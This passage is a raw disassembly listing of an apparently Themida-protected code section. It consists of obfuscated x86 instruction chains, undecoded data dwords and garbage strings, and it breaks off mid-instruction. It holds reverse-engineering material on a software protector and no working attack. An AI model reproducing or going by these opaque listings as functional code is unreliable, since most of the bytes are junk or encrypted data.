XREF: Themida_:00553B13j add edx, 0FC13B0D7h sub esp, 4 mov [esp], edx xor dword ptr [esp], 360DEFh pop edi xor edi, 360DEFh jmp loc_55A9C0 ; --------------------------------------------------------------------------- db 5Dh, 1, 0D8h dd 5F70BB2Dh, 64BE2D2Dh, 895665ABh, 4C681E6h, 0E9000000h dd 0FFFFD3A2h, 0E9241487h, 2A0Fh, 4C481h, 0C3810000h, 4 dd 8704C383h, 6EE9241Ch db 0AEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_556F6B: ; CODE XREF: Themida_:00562F69j mov ecx, 4CFD3928h push eax push ebx mov ebx, 7C4C4B39h mov eax, 3C210937h xor eax, ebx pop ebx shr eax, 7 jmp loc_552106 ; --------------------------------------------------------------------------- db 89h dd 32E9240Ch, 29000086h, 83ED81CDh, 59072049h, 775FC681h dd 0C681244Bh, 28F1247Bh, 0FF976AE9h, 81E389FFh, 4C3h dd 4EC8300h, 68240C89h, 931h, 16F5E9h, 462DBA00h, 0D001121Fh dd 4EC815Ah, 89000000h, 0D3B9240Ch, 0F7058C65h, 33BD55D9h dd 16CADBCh, 0B5ADE9E9h, 0B850FFFFh, 56F71F02h, 0BAE9D0F7h dd 5D0000E2h, 5104C183h, 42474FFh, 4498E9h, 5AD48800h dd 44B25266h, 5A66D528h, 6138E9h db 0 ; --------------------------------------------------------------------------- loc_557011: ; CODE XREF: Themida_:0055A375j sub ebp, 4 jmp loc_5632AA ; --------------------------------------------------------------------------- db 8Bh, 0Ch, 24h dd 1F3EE950h, 0C6810000h, 0DCA112Ah, 8103E6C1h, 0A2334EEh dd 0D7C68117h, 1901EA5h, 0F0015EF0h, 0D310632Dh, 8DBB5333h dd 8161B458h, 0F51ED7C3h, 7BF82D15h, 85E959D2h db 1Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_557057: ; CODE XREF: Themida_:005593CCj sub esi, ecx pop ecx sub ebp, 55F54E79h add ebp, esi add ebp, 55F54E79h pop esi xchg ebp, [esp] pop esp add ebp, 4 add ebp, 4 push ebp push dword ptr [esp+4] pop ebp jmp loc_556ED3 ; --------------------------------------------------------------------------- dd 0D0000804h, 7ADE9h, 7CF38000h, 66E9DC00h db 7Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_557097: ; CODE XREF: Themida_:00559B7Ej xor ecx, 4F711419h jmp loc_551A56 ; --------------------------------------------------------------------------- loc_5570A2: ; CODE XREF: Themida_:0055320Ej push eax jmp loc_562E80 ; --------------------------------------------------------------------------- dd 0BF243C89h, 799B755Ch, 0F796F787h, 0A0A9E9D0h, 3558FFFFh dd 1C78647Bh, 1C22A135h, 0A959E916h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5570CA: ; CODE XREF: Themida_:00565100j mov edi, 4 add [esp+4], edi pop edi pop ebx push 1A6Ch mov [esp], eax mov eax, 0DD214E3h shr eax, 6 or eax, 477F2A4Eh push ebp mov ebp, 4EA70769h jmp loc_557E90 ; --------------------------------------------------------------------------- db 51h, 0E9h, 54h dd 5BFFFFF5h, 0FFB9A9E9h, 8FC781FFh, 0E952A13Ch, 74AFh dd 0D56CAEBBh, 0B2ED8155h, 0E9453D4Bh, 95C9h ; --------------------------------------------------------------------------- loc_55711C: ; CODE XREF: Themida_:00556ED6j pop esp jmp loc_555783 ; --------------------------------------------------------------------------- dw 1C89h dd 81E38924h, 4C3h, 4EB8100h, 87000000h, 48E9241Ch db 0ABh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55713B: ; CODE XREF: Themida_:00556DF0j sub ecx, edx pop edx push ecx push ebx push 45535313h pop ebx xor ebx, 3C3B7F79h neg ebx jmp loc_55A0B1 ; --------------------------------------------------------------------------- db 31h dd 14332414h, 24248B24h, 0B7241C89h, 0E02EE933h, 56B00000h dd 0F623B353h, 0FBF380D3h, 45BD828h, 0B2525362h, 0E9D78899h dd 215h ; --------------------------------------------------------------------------- loc_557180: ; CODE XREF: Themida_:0055DD98j sub ebx, 57C52ACBh add ebx, 0A5F014Fh push ecx push esi mov esi, 3D1213A5h mov ecx, esi jmp loc_553E44 ; --------------------------------------------------------------------------- dw 0C481h dd 4, 219168h, 243C8900h, 4B4CF568h, 22E95F5Ch, 81FFFFABh dd 4A730FEFh, 4815777h, 74566824h, 0CAFFE91Ah db 2 dup(0FFh) word_5571C6 dw 77FFh ; DATA XREF: Themida_:0054FFD4o dd 58669D1Ch, 24041966h, 8EC1E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5571D6: ; CODE XREF: Themida_:0055824Ej pop eax jmp loc_55130D ; --------------------------------------------------------------------------- dd 2504C483h, 4C256A71h, 20681435h, 58C60148h, 0AAF6E957h dd 0F5810000h, 0C07E8E25h, 2C8BEB31h, 4C48124h, 21000000h dd 241C8BDDh, 0C104C483h, 29E908EDh, 0F700008Ch, 461BE9D2h dd 315E0000h, 2434FFF0h, 0E954565Eh, 0DDB6h, 8B241C33h dd 0B7532424h, 0E9DFF638h, 8CC1h, 4C681h, 0EE810000h, 4 dd 2474FF56h, 48F5E04h, 3C895C24h, 4EC8324h, 0B8240489h dd 0CCF4425h, 0E8115025h, 0FCE94837h db 0A3h, 2 dup(0) byte_557267 db 66h ; DATA XREF: Themida_:0054FF04o dd 6802B60Fh, 22EAh, 54240C89h, 8C99E9h db 0 ; --------------------------------------------------------------------------- loc_557279: ; CODE XREF: Themida_:00562A76j mov ecx, 40C73D0Bh mov edi, 0BF38C2F9h add edi, ecx jmp loc_552097 ; --------------------------------------------------------------------------- dw 3C87h dd 2C895C24h, 15D7BD24h, 0EA290633h, 0C053E9h, 1C470900h dd 5524048Bh, 29E9h, 26BB5300h, 0E91A1B33h, 0FFFFCCF3h ; --------------------------------------------------------------------------- loc_5572B4: ; CODE XREF: Themida_:005606CBj push ebx mov ebx, 45A1005Bh jmp loc_5555C7 ; --------------------------------------------------------------------------- loc_5572BF: ; CODE XREF: Themida_:00550A07j sub ecx, 43545A5Bh add ecx, edi jmp loc_56398B ; --------------------------------------------------------------------------- loc_5572CC: ; CODE XREF: Themida_:0055C836j pop esi jmp loc_5539CC ; --------------------------------------------------------------------------- dw 5D54h dd 4C581h, 0E9520000h, 1108h ; --------------------------------------------------------------------------- loc_5572E0: ; CODE XREF: Themida_:0055B354j pop edi xor eax, 1C2B52D0h jmp loc_5618F6 ; --------------------------------------------------------------------------- aL4Pirs2 db '‹4$P‰àé2Î',0 align 2 dw 2C8Bh dd 4C48124h, 8F000000h, 248B2404h, 2424D224h, 8D89E99Ch dd 0C581FFFFh, 2B200FAFh, 59C8E9h, 3EF28100h, 8179D272h dd 0EF446BEAh, 81D2F74Dh, 9E141AC2h, 0EC814A0Dh, 4, 36FCE9h dd 5BD80100h, 8904EC83h, 68E92434h, 89000044h, 74FF2434h dd 5BE90424h, 52FFFFA8h, 0C6224ABAh, 6EAC131h, 39C2814Ah dd 123D6F5h, 0F7815AD7h, 3BD48B21h, 2192ED81h, 0FD016858h dd 2192B850h, 0C5016858h, 8450E9h, 798EBD00h, 48E905F0h dd 80000027h, 0E8285EEDh, 8CD9E9h, 58E95A00h db 9Ch, 2 dup(0) byte_55739B db 66h ; DATA XREF: Themida_:0054FE4Co dd 8124048Bh, 4ECh, 241C8900h, 0C9DE9h, 24CE8100h, 4E05AC6Eh dd 876CE9h, 59CB0100h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push esi mov esi, 10D2069Fh xor esi, 10D2069Bh add ebp, esi pop esi jmp loc_553E18 ; --------------------------------------------------------------------------- loc_5573D3: ; CODE XREF: Themida_:00555F5Dj add esp, 4 xchg edx, [esp] jmp loc_564F91 ; --------------------------------------------------------------------------- db 0FEh, 0CDh, 83h dd 148904ECh, 0FE86B624h, 0B05053C6h, 3A70E933h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5573F6: ; CODE XREF: Themida_:005652DCj sub esi, 0BFF7C39h sub esi, 67470F20h pop eax add esi, ebp add esi, 73E01772h sub esi, 473301B0h pop ebp push esi jmp loc_5529ED ; --------------------------------------------------------------------------- dd 2444015Fh, 246C8104h, 223FE304h, 54B8E967h, 68E90000h db 8Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55742F: ; CODE XREF: Themida_:005504BDj xor [esp], esi jmp loc_552D91 ; --------------------------------------------------------------------------- loc_557437: ; CODE XREF: Themida_:0055E17Ej push edi jmp loc_5591F5 ; --------------------------------------------------------------------------- db 0D0h, 0EAh, 0F6h dd 0E7EA80D2h, 0FFB284E9h, 0E94258FFh, 0AF57h, 6803E2C1h dd 11h, 0BD242C89h, 0F149CC1Ch, 895DEA29h, 0F7CCE9D7h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55746A: ; CODE XREF: Themida_:0055DA02j shr edi, 8 push ebp mov ebp, 0A8B23EDCh sub edi, ebp pop ebp add esi, 18235BDCh sub esi, edi sub esi, 18235BDCh pop edi jmp loc_55D6D7 ; --------------------------------------------------------------------------- dw 48Fh dd 24248B24h, 0E99CC138h, 0FFFF8BFFh, 0DD0074B5h, 59EB305Bh dd 805BDA30h, 0D328E1EBh, 72E4E9h, 8EBB5300h, 0B866294Ch dd 992CC1D6h, 34FFD831h, 0C4835B24h, 58C50104h, 0BD9E9h dd 204CB800h, 14BE410Fh, 29584926h, 7BBD58C6h, 8104B71Ah dd 0FFFFFFEDh, 0F9CD81FFh, 81721A3Ah, 0CD2D4CF5h, 5EF5017Eh dd 2C8BE829h, 0E0895024h, 405h, 4C08300h, 5C240487h, 651DFF25h dd 257A0518h, 0E8C14EEFh, 0EF39E904h, 0B951FFFFh, 164086Bh dd 8141D1F7h, 967BE1E1h, 6BE18110h, 817E7B5Dh, 0DFE260C1h dd 59CA8952h, 9DFB850h, 0C2214266h, 0EC835058h, 24348904h dd 0C7083CBEh, 0F3E95628h, 5EFFFF9Eh, 4C681h, 0EE810000h dd 4, 5C243487h, 0FF241489h, 8B042474h, 32E92414h db 17h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55756F: ; CODE XREF: Themida_:00555604j mov [esp], edx mov edx, 51A429ABh jmp loc_564BCA ; --------------------------------------------------------------------------- loc_55757C: ; CODE XREF: Themida_:0056393Bj or esi, 19B7230Bh xor esi, 66D5443h sub esi, 4FEEAFE6h add ecx, esi pop esi add ecx, ebx sub ecx, 29A37F46h mov ebx, [esp] add esp, 4 push ebp mov ebp, 4 add ecx, ebp pop ebp xchg ecx, [esp] pop esp rep movsd add esp, [edx+38h] push ecx push 3F79h mov [esp], esi mov esi, 49F42B8Ch push esi jmp loc_550CC7 ; --------------------------------------------------------------------------- dd 4B8h, 58C10100h, 4EC8353h, 68240C89h, 30A96640h, 0F9BA5259h dd 314F3A0Eh, 0C9815AD1h, 0BC28C3h, 9707C181h, 0E9518040h dd 0FFFFC92Ah ; --------------------------------------------------------------------------- loc_5575F8: ; CODE XREF: Themida_:0055C37Cj xor ebx, [esp] mov esp, [esp] jmp loc_550097 ; --------------------------------------------------------------------------- loc_557603: ; CODE XREF: Themida_:0055A41Aj and edi, 33811B84h xor edi, 1A0870E8h push edx jmp loc_563940 ; --------------------------------------------------------------------------- db 0C1h, 0E0h, 7 dd 0B8D20540h, 0C7816861h, 48187F3Fh, 0E951C729h, 0FFFF96CCh ; --------------------------------------------------------------------------- loc_55762C: ; CODE XREF: Themida_:00552444j shr edx, 5 inc edx jmp loc_550A82 ; --------------------------------------------------------------------------- loc_557635: ; CODE XREF: Themida_:00563F23j mov [esp], esp add dword ptr [esp], 4 pop ebp add ebp, 4 jmp loc_556E0B ; --------------------------------------------------------------------------- db 51h dd 0C181E189h, 4, 2C181h, 0C330000h, 240C3124h, 5C240C33h dd 0B0C1E9h, 4C48300h, 3561C681h, 0D6F77930h, 8106EEC1h dd 42ACE0EEh, 0E9F589F7h, 43B2h ; --------------------------------------------------------------------------- loc_557684: ; CODE XREF: Themida_:0055BCA1j mov ebx, [esp] add esp, 4 jmp loc_56391D ; --------------------------------------------------------------------------- loc_55768F: ; CODE XREF: Themida_:00558D80j mov [esp], ecx push eax mov eax, 391664C6h add eax, 6D5D3509h add eax, 3C84529Ch add eax, 990E1871h push eax pop ecx pop eax push ebx mov ebx, 61C16D14h or ecx, ebx pop ebx shl ecx, 7 add ecx, 711144DCh shl ecx, 8 jmp loc_558298 ; --------------------------------------------------------------------------- aUsx db 'UéåÎ',0 align 2 dw 0DD88h dd 9EED805Bh, 4EC81h, 1C890000h, 8031B724h, 0C7FE48E7h dd 0E903EFC0h, 522Ah, 0CD560BBFh, 0EDAE930h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5576F2: ; CODE XREF: Themida_:0055A8A9j sub edi, 876EAC5Eh add ebp, edi pop edi inc ebp xor ebp, 44A8C1C4h or ebp, 78BE2D82h add ebp, 556F4080h shl ebp, 6 not ebp push eax mov eax, 68154C74h add ebp, eax mov eax, [esp] jmp loc_5603E8 ; --------------------------------------------------------------------------- db 59h dd 4C481h, 89500000h, 405E0h, 0C0830000h, 24048704h, 0E789575Ch dd 4BA52h, 4EE90000h, 29FFFFA4h, 3885EF3h, 8945E95Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_557752: ; CODE XREF: Themida_:00553D20j pop eax jmp loc_55FF6B ; --------------------------------------------------------------------------- dd 5B2434FFh, 4C481h, 0EB280000h, 51CB0059h, 0EB0010B5h dd 80596659h, 0EB809BEBh, 0ABC380DAh, 0EB80C300h, 0DAC380ABh dd 8904EC83h, 71B22414h, 9EA9E9h db 0 ; --------------------------------------------------------------------------- loc_55778D: ; CODE XREF: Themida_:0055E4F6j inc ecx sub ecx, 5CEB8E9Dh jmp loc_5653C8 ; --------------------------------------------------------------------------- loc_557799: ; CODE XREF: Themida_:0055B73Dj sub edx, 4 xchg edx, [esp] pop esp mov [esp], ebp push esp pop ebp push edi push ebx jmp loc_55CF89 ; --------------------------------------------------------------------------- dd 3D678BBAh, 0E5E94A22h, 89FFFFE7h, 825DE9C8h, 34FF0000h dd 24348B24h, 4C481h, 0C4830000h, 4815704h, 0C315BF24h dd 5FCAE942h, 0EB810000h, 5D753904h, 2BDCBD55h, 0CDE94CF1h dd 8900005Bh, 0A4E92404h db 88h, 2 dup(0FFh) byte_5577F3 db 66h ; DATA XREF: Themida_:0054FE68o dd 56240C8Bh, 0B376E9h db 0 ; --------------------------------------------------------------------------- loc_5577FD: ; CODE XREF: Themida_:0055686Fj push dword ptr [esp] pop ebx jmp loc_558D36 ; --------------------------------------------------------------------------- dw 481h dd 424h, 0C1815900h, 4, 4EC81h, 2C890000h, 4EC8324h, 68243C89h dd 6ABE03CDh, 29FFE95Fh, 19B50000h, 2804EF80h, 0BDB1E9EFh dd 82CFFFFh, 4EC835Ah, 83241C89h, 86E904ECh, 83000037h dd 0FF5502C5h, 8B042474h, 0C483242Ch, 24048F04h, 0F624248Bh dd 7019E9F9h, 0B2520000h, 0E9D2F6FCh, 0FFFFFBCDh, 0E95DEA89h dd 0FFFFFBD1h ; --------------------------------------------------------------------------- loc_557878: ; CODE XREF: Themida_:0056184Aj mov edi, 3B892FFFh shl edi, 1 or edi, 5C76542Ch xor edi, 0E9E1E4Ch push edx mov edx, 48F541C8h sub edi, edx mov edx, [esp] add esp, 4 jmp loc_5632BD ; --------------------------------------------------------------------------- db 5Ah, 5Eh, 0FFh dd 34FF2434h, 0A0685824h, 89000064h, 8B542404h, 0C4812404h dd 4, 405h, 0E7895700h, 0D27E9h, 0D7EB8100h, 0FF25F639h dd 835E2434h, 0CCE904C4h, 53FFFFDDh, 21A8E9h, 2434FF00h dd 4C4815Bh, 0E9000000h, 0FFFFC6BFh ; --------------------------------------------------------------------------- loc_5578F0: ; CODE XREF: Themida_:0055AE1Dj sub dword ptr [esp+4], 712E617Bh jmp loc_55FEA5 ; --------------------------------------------------------------------------- db 5, 44h, 0EEh dd 5056C77Fh, 2D1066B8h, 6C4F3569h, 0DAE9209Bh, 0F6000010h dd 0B60F66F1h, 55E956CCh, 81FFFFA4h, 4C4h, 24048700h, 1684E95Ch dd 0C1810000h, 4, 0E9240C87h, 75E8h ; --------------------------------------------------------------------------- loc_55793C: ; CODE XREF: Themida_:005566DEj mov [esp], dx push ax pushf jmp loc_550097 ; --------------------------------------------------------------------------- dd 5C243C87h, 0B5240C89h, 0E9312CB2h, 4C74h, 5DE8015Bh dd 4EC815Bh, 0E9000000h, 0FFFFE364h, 7E86BB53h, 0DD0143BFh dd 24048B5Bh, 4C481h, 3AE90000h db 0DCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55797F: ; CODE XREF: Themida_:005593E3j add ecx, 43A152A1h add ecx, edi sub ecx, 43A152A1h pop edi push edx mov edx, 1 add [ecx], edx jmp loc_559F2F ; --------------------------------------------------------------------------- db 86h dd 86D1F6CCh, 80C4FECCh, 0C4FE8DECh, 0EC80DCF6h, 58E188C7h dd 5075E980h, 9E96EB4h db 89h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5579BB: ; CODE XREF: Themida_:00552886j pop esp jmp loc_558E7D ; --------------------------------------------------------------------------- db 59h, 29h, 0F1h dd 8E1815Eh, 8144DC18h, 3B4D55E1h, 2B85000h, 31000008h dd 0EA8158C1h, 5A9A7990h, 6286C281h, 0CA2964D3h, 6286B850h dd 8CE964D3h, 6600005Ch, 889AB551h, 0B75966ECh, 58E7303Eh dd 6517E9h, 522D6600h, 0BC30E97Ah, 0E5810000h, 79361BA6h dd 0A242ED81h, 0BFE9DDB0h, 58000081h, 5C243487h, 42F968h dd 24248900h, 0B15CE9h, 17E18000h, 521AC180h, 0E95BB2h dd 8100006Ch, 4ECh, 24348900h, 102E68h, 24148900h, 1676C6BAh dd 0EA6BE911h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_557A5A: ; CODE XREF: Themida_:00557E81j add eax, 3F582415h pop ecx mov edx, eax mov eax, [esp] add esp, 4 add edx, 73C9186Dh add edx, ebx sub edx, 73C9186Dh push ebx push ecx mov ecx, 1FE74A58h inc ecx jmp loc_561CFE ; --------------------------------------------------------------------------- db 80h dd 2CE968F7h, 890000D0h, 181B68E3h, 34890000h, 13685724h dd 5F774A73h, 0FFF712E9h, 4C483FFh, 69F0BD55h, 0CD8118C7h dd 19F40778h, 0FFB278E9h, 2DF168FFh, 0C0E90000h, 33FFFFAFh dd 97E92434h db 0A0h, 2 dup(0) ; --------------------------------------------------------------------------- loc_557AC7: ; CODE XREF: Themida_:0055A947j mov [esp], ebx mov eax, [esp] push ebx mov ebx, esp jmp loc_55E807 ; --------------------------------------------------------------------------- loc_557AD5: ; CODE XREF: Themida_:0055DA8Fj add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edi push ebp mov ebp, 4B6824C7h neg ebp add ebp, 1 jmp loc_55EBFA ; --------------------------------------------------------------------------- db 89h dd 405E0h, 4050000h, 33000000h, 4312404h, 24043324h, 0FFE278E9h db 0FFh ; --------------------------------------------------------------------------- loc_557B15: ; CODE XREF: Themida_:0055D436j or ebx, ebx jnz loc_55E076 push 38B9h jmp loc_564A46 ; --------------------------------------------------------------------------- loc_557B27: ; CODE XREF: Themida_:00562CA8j pop esp add ebx, edi push ecx mov ecx, 0 add ecx, ebx push ebx mov ebx, 0 add ebx, ecx add dword ptr [ebx], 1 pop ebx mov ecx, [esp] add esp, 4 mov ebx, [esp] add esp, 4 loc_557B53: ; CODE XREF: Themida_:0055A76Dj push ebx push 6B2Ch mov [esp], ecx mov ecx, 2941BEFh sub [esp+4], ecx push dword ptr [esp] mov ecx, [esp] jmp loc_55CE6F ; --------------------------------------------------------------------------- dd 8104E9C1h, 0A34C65F1h, 81D1F75Ah, 1A531DC9h, 0F6F18140h dd 89F4936Dh, 0F79559C8h, 9558E9D5h, 8B560000h, 0C483243Ch dd 0C4FFE904h, 0D6F7FFFFh, 0DC6FF681h, 0ADE981C1h, 5000081h dd 4, 8704C083h, 9DE92404h, 5100006Ch, 0FF8D1CE9h, 5FBE56FFh dd 50520506h, 0E214C4B8h, 227F350Eh, 0B0566A4h, 25212C6Dh dd 51710A3Ch, 77BE9h, 0B3E95200h db 0CAh, 2 dup(0FFh) byte_557BE7 db 0FFh ; DATA XREF: Themida_:0054FE18o dd 34FF1C77h, 2434FF24h, 8124048Bh, 4C4h, 4EC8300h, 89240489h dd 405E0h, 0E9500000h, 0FFFFC66Ah dword_557C0C dd 81E68956h, 4C6h, 9422E900h, 0C681FFFFh, 4, 4BB53h, 0DE010000h ; DATA XREF: Themida_:0054FE08o dd 2434335Bh, 33243431h, 248B2434h, 4C38124h, 57000000h dd 8904EC83h, 84BA2414h, 0E93E2939h, 0FFFFF804h, 8904EC83h dd 7CBF243Ch, 8169730Eh, 4ECh, 240C8900h, 5C85E9h, 48B6600h dd 9CF6824h, 2C890000h, 81E58924h, 4C5h, 4DC8E900h, 0C4800000h dd 0E9E62872h, 0FFFFB159h, 2404285Ch, 0B0C5E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_557C92: ; CODE XREF: Themida_:005595B7j mov esi, 30967891h jmp loc_555322 ; --------------------------------------------------------------------------- loc_557C9C: ; CODE XREF: Themida_:0055DEADj pop dx not ch xchg ch, bh jmp loc_5580D9 ; --------------------------------------------------------------------------- db 81h dd 1BBE77C6h, 0CA1EE9E4h, 5F5A0000h, 0D3A2E9h db 0 ; --------------------------------------------------------------------------- loc_557CB9: ; CODE XREF: Themida_:00552BC4j add esp, 4 xor eax, 3BBA154Ch push esi mov esi, 1B6939C5h shl esi, 6 push esi jmp loc_551A01 ; --------------------------------------------------------------------------- dd 83161768h, 0BEC6E917h db 2 dup(0) word_557CDA dw 52ACh ; DATA XREF: Themida_:0054FFE0o dd 5379B151h, 0DA88CB88h, 240C8B5Bh, 8004C483h, 0D2F6DBF2h dd 8016CA80h, 0EA80A1CAh, 0E9D00034h, 8897h, 0FE208905h dd 2434FF2Ah, 83241C8Bh, 895104C4h, 0B5E0E9E1h, 0E95D0000h dd 2BC2h, 0E95AD501h, 6A82h, 66E82966h, 0E92DD72Dh, 1964h ; --------------------------------------------------------------------------- loc_557D30: ; CODE XREF: Themida_:00558B00j mov ebx, 1 jmp loc_556E37 ; --------------------------------------------------------------------------- dw 3C8Bh dword_557D3C dd 4C48124h, 81000000h, 1C2h, 0DBBE5600h, 0E9500267h, 8D4Eh dd 0C281E289h, 4, 0E904EA83h, 6C3Ch, 5C24048Fh, 8B2434FFh dd 89562414h, 0FCE950E6h, 8100003Ah, 7E04246Ch, 8136F80Dh dd 17042444h, 0FF69E51Fh, 11E92434h, 0B8FFFF89h, 4, 48BC529h dd 4C48324h, 31242C33h, 2C33242Ch, 4895C24h, 57E08924h dd 122DB1BFh, 0C781474Dh, 7B633C7Dh, 8102E7C1h, 2A5748C7h dd 0E9F801DEh, 41DAh, 2D01C083h, 0D97E285Fh, 0F758C601h dd 0BACE81D6h, 686BD12Fh, 6737h, 0BB241C89h, 1588206Ah dd 6E9DE29h db 0D3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_557DEF: ; CODE XREF: Themida_:0055A45Dj add eax, 3B462BCAh add eax, esi sub eax, 3B462BCAh jmp loc_55D5FB ; --------------------------------------------------------------------------- aCs db 'CéÒ&',0 align 2 loc_557E06: ; CODE XREF: Themida_:00554D0Cj mov dh, 56h sub bl, dh jmp loc_555AF4 ; --------------------------------------------------------------------------- aISM db '‰Îé]m',0 align 2 loc_557E16: ; CODE XREF: Themida_:00564F3Aj mov esp, [esp] mov [esp], edi mov edi, 2000h and eax, edi pop edi or eax, eax jz loc_551823 push dword ptr [edi+1Ch] push edi mov edi, 76E4262h jmp loc_55412E ; --------------------------------------------------------------------------- loc_557E3A: ; CODE XREF: Themida_:00561887j mov [esp], edi jmp loc_55B92C ; --------------------------------------------------------------------------- dw 0CB01h dd 1AB8E9h db 0 ; --------------------------------------------------------------------------- loc_557E49: ; CODE XREF: Themida_:005636B7j push 3276h mov [esp], edi jmp loc_55EC6D ; --------------------------------------------------------------------------- loc_557E56: ; CODE XREF: Themida_:0055C7EFj add al, 0E2h mov ecx, [esp] add esp, 4 add bl, 0BCh sub esp, 4 jmp loc_55D206 ; --------------------------------------------------------------------------- loc_557E6C: ; CODE XREF: Themida_:005562C3j add ecx, 2E5619CFh neg ecx xor ecx, 46EA333Ch sub eax, 3F582415h add eax, ecx jmp loc_557A5A ; --------------------------------------------------------------------------- dw 9FBDh dd 0E9281B0Eh, 0FFFF82E2h ; --------------------------------------------------------------------------- loc_557E90: ; CODE XREF: Themida_:005570F0j add ebp, 0FFFFFFFFh shr ebp, 4 add ebp, 0FB158F89h sub eax, 5F2F1AD2h add eax, ebp add eax, 5F2F1AD2h jmp loc_555551 ; --------------------------------------------------------------------------- aZsx db 'ZéX|',0 align 2 dw 0E950h dd 4606h, 8B66F030h, 23682414h, 89000060h, 5954240Ch, 4C181h dd 0FF680000h, 8900007Eh, 0CEE9242Ch, 0FF000004h, 0E95B2434h dd 0FFFF8A29h, 0C808E958h, 148BFFFFh, 2F2CE924h, 0C4830000h dd 0E77BE904h, 0A9B7FFFFh, 0B7E9DFF6h, 5200000Eh, 602C7CB2h dd 6004D028h, 0B4045Ah, 0D04EE9D8h, 0D05FFFFh, 0E95E0B2Fh dd 2058h, 0E9242C8Bh, 6E80h, 0D8C78166h, 0B80FE96Fh, 1C89FFFFh dd 6866824h, 0A3E90000h, 0F7FFFFEAh, 81EF87D5h, 0D62FC6C7h dd 6476858h, 4890000h, 369BB824h, 0C7293CB3h, 582434FFh dd 5E08950h, 4, 8704C083h, 815C2404h, 0C83811EFh, 83B85068h dd 83678A04h, 0E52DFFC0h, 0E93A49A5h, 0FFFFCFFEh, 81D3015Eh dd 952A51C3h, 0B8505A54h, 0D0221F55h, 0E958C331h, 316Bh dd 0E0C1D0F7h, 65836802h, 0DE90000h, 81000016h, 0AE1260C6h dd 0C6815F75h, 2, 0C533E952h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_557FC2: ; CODE XREF: Themida_:0055F765j add esp, 4 jmp loc_558FC1 ; --------------------------------------------------------------------------- db 81h, 0C7h, 0F5h dd 16B6865h, 0F5EF81C7h, 586B6865h, 8704EF83h, 6DE9243Ch dd 0F70000A5h, 0F9E981D1h, 81173D20h, 7E3533C9h, 0F7C18157h dd 29257F8Fh, 0C38159CBh, 2AB95FF2h, 0E904EC83h, 0FFFFE793h dd 0B9515052h, 1C146B7Bh, 67E181h, 0BD555585h, 0C144FCAh dd 575DE921h, 0E66191BFh, 0FFC78165h, 81FFFFFFh, 9F72E4EFh dd 0D1E2E927h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55803A: ; CODE XREF: Themida_:00552295j pop ebp push esi mov esi, 3427682Eh dec esi dec esi not esi jmp loc_56069C ; --------------------------------------------------------------------------- dw 0E954h dd 0FFFFCEC0h, 148BD301h, 4F7DE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55805A: ; CODE XREF: Themida_:0055B2C4j add ecx, 79DC304Ch mov ebx, [esp] push edx mov edx, esp push ebp mov ebp, 34092D7Dh jmp loc_55FA6D ; --------------------------------------------------------------------------- db 81h, 0F1h, 84h dd 0E9E18B16h, 0FFFFE090h, 24048F5Ah, 0AD2FE9h, 19EF8100h dd 81290156h, 0C655C1C7h, 0E79AE9E8h, 3C87FFFFh, 0EC835C24h dd 6C8E904h, 0E9810000h, 16A02F21h, 0C181E901h, 16A02F21h dd 0E9242C8Bh, 3D37h ; --------------------------------------------------------------------------- loc_5580B8: ; CODE XREF: Themida_:0055A2D6j xor esi, [esp] pop esp push 281Fh mov [esp], ebp push 3112h jmp loc_55F10B ; --------------------------------------------------------------------------- dw 0E981h dd 2DE30B45h, 0FF8704E9h db 0FFh ; --------------------------------------------------------------------------- loc_5580D9: ; CODE XREF: Themida_:00557CA2j push small 7298h mov [esp], cx jmp loc_5625B3 ; --------------------------------------------------------------------------- dw 0E681h dd 6031AD0h, 408DB850h, 4E2D7D25h, 212FFC0Dh, 0C68158C6h dd 44212393h, 815EF301h, 0CB4151C3h, 0E9D3010Bh, 62E4h ; --------------------------------------------------------------------------- loc_558110: ; CODE XREF: Themida_:0055D41Cj mov [esp], eax jmp loc_5596C8 ; --------------------------------------------------------------------------- dd 8104C483h, 4C4h, 69E38100h, 52426815h, 6C35EABAh, 9108E90Bh dd 8F540000h, 0BA522404h, 4, 4245401h, 971EE95Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_558146: ; CODE XREF: Themida_:0055F6B6j mov ecx, 4261045Fh jmp loc_5562BE ; --------------------------------------------------------------------------- dd 4C4815Bh, 0E9000000h, 0FFFF9817h, 141EE3BBh, 0E9DBF737h dd 18C9h, 0DE89EB89h, 83241C8Bh, 295D04C4h, 68555EF0h dd 3E1Ah, 0E9240C89h, 0B601h, 0C180D128h, 24148B0Fh, 4C481h dd 0B6520000h, 5AF0288Dh, 8006B353h, 0D828C7EBh, 0B9045Bh dd 4B92CC8h, 5060E93Fh, 835A0000h, 0B95104C4h, 52097091h dd 0FFEE981h, 0C6813B5Ah, 6B0C666Ah, 0BD55CE29h, 17C4537Dh dd 4AE7C581h, 0EDD121ACh, 4C55ED81h, 0ED812046h, 91659C73h dd 0A0B1E9h, 24048B00h, 81E68956h, 4C6h, 4C68100h, 33000000h dd 34312434h, 24343324h, 2434FF5Ch, 2DFDE9h, 0F9C28100h dd 89EDDEDFh, 0C7895AD0h, 4AED8158h, 110AA34h, 1BB951FDh dd 0E926F769h, 0FFFF8BF7h, 3304C483h, 29E92414h, 5C0000CFh dd 80CEB151h, 0C828A5F1h, 4D80059h, 81F3E96Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_558246: ; CODE XREF: Themida_:00563E4Aj add edi, eax add edi, 